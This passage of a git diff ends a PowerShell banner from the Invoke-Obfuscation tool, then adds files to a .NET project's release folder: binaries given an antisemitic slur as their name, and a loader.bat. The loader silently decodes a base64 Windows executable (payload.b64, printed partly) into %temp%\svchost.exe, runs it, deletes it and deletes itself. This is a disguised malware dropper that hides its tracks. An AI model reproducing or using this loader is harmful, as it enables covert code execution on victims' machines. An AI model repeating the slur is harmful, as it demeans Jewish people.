bg0oibg0'+' + bg0tacbg0'+'+'+'bg0sufbO-b'+'g'+'0+'+'bg0ek'+'ovn'+'bg0+ bg0Ib'+'g'+'0 '+' ( )'+'bg'+'0tsO'+'bg0'+' + bg'+'0H'+'-'+'ebg0 '+' '+'+ b'+'g0'+'tIRwb'+'g0(. '((`";[Array]::Reverse(`$N7 ) ; IEX (`$N7-Join '' )" -ForegroundColor Magenta + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line -NoNewline; Write-Host $Line -NoNewline; Write-Host $Line} + Start-Sleep -Milliseconds 100 + + Write-Host ".(`"wRIt`" + `"e-H`" + `"Ost`") ( `"I`" +`"nvoke`"+`"-Obfus`"+`"cat`" + `"io`" +`"n`") -ForegroundColor ( 'Gre'+'en')" -ForegroundColor Yellow + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line -NoNewline; Write-Host $Line} + Start-Sleep -Milliseconds 100 + + Write-Host "Write-Host `"Invoke-Obfuscation`" -ForegroundColor Green" -ForegroundColor White + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line} + Start-Sleep -Milliseconds 100 + + # Write out below string in interactive format. + Start-Sleep -Milliseconds 100 + ForEach($Char in [Char[]]'Invoke-Obfuscation') + { + Start-Sleep -Milliseconds (Get-Random -Input @(25..200)) + Write-Host $Char -NoNewline -ForegroundColor Green + } + + Start-Sleep -Milliseconds 900 + Write-Host "" + Start-Sleep -Milliseconds 300 + Write-Host + + # Display primary ASCII art title banner. + $RandomColor = (Get-Random -Input @('Green','Cyan','Yellow')) + ForEach($Line in $InvokeObfuscationAscii) + { + Write-Host $Line -ForegroundColor $RandomColor + } + } + Else + { + # ASCII option in Invoke-Obfuscation interactive console. + + } + + # Output tool banner after all ASCII art. + Write-Host "" + Write-Host "`tTool :: Invoke-Obfuscation" -ForegroundColor Magenta + Write-Host "`tAuthor :: Daniel Bohannon (DBO)" -ForegroundColor Magenta + Write-Host "`tTwitter :: @danielhbohannon" -ForegroundColor Magenta + Write-Host "`tBlog :: http://danielbohannon.com" -ForegroundColor Magenta + Write-Host "`tGithub :: https://github.com/danielbohannon/Invoke-Obfuscation" -ForegroundColor Magenta + Write-Host "`tVersion :: 1.8" -ForegroundColor Magenta + Write-Host "`tLicense :: Apache License, Version 2.0" -ForegroundColor Magenta + Write-Host "`tNotes :: If(!`$Caffeinated) {Exit}" -ForegroundColor Magenta +} diff --git a/bin/Release/net48/win-x64/publish/jew.exe b/bin/Release/net48/win-x64/publish/jew.exe new file mode 100644 index 0000000..0fff126 Binary files /dev/null and b/bin/Release/net48/win-x64/publish/jew.exe differ diff --git a/bin/Release/net48/win-x64/publish/jew_encrypted.exe b/bin/Release/net48/win-x64/publish/jew_encrypted.exe new file mode 100644 index 0000000..48fe782 Binary files /dev/null and b/bin/Release/net48/win-x64/publish/jew_encrypted.exe differ diff --git a/bin/Release/net48/win-x64/publish/link.txt b/bin/Release/net48/win-x64/publish/link.txt new file mode 100644 index 0000000..e69de29 diff --git a/bin/Release/net48/win-x64/publish/loader.bat b/bin/Release/net48/win-x64/publish/loader.bat new file mode 100644 index 0000000..ff86ed1 --- /dev/null +++ b/bin/Release/net48/win-x64/publish/loader.bat @@ -0,0 +1,5 @@ +@echo off +certutil -decode "%~dp0payload.b64" "%temp%\svchost.exe" >nul 2>&1 +start "" "%temp%\svchost.exe" +del "%temp%\svchost.exe" 2>nul +del "%~f0" diff --git a/bin/Release/net48/win-x64/publish/payload.b64 b/bin/Release/net48/win-x64/publish/payload.b64 new file mode 100644 index 0000000..93d78a8 --- /dev/null +++ b/bin/Release/net48/win-x64/publish/payload.b64 @@ -0,0 +1 @@ +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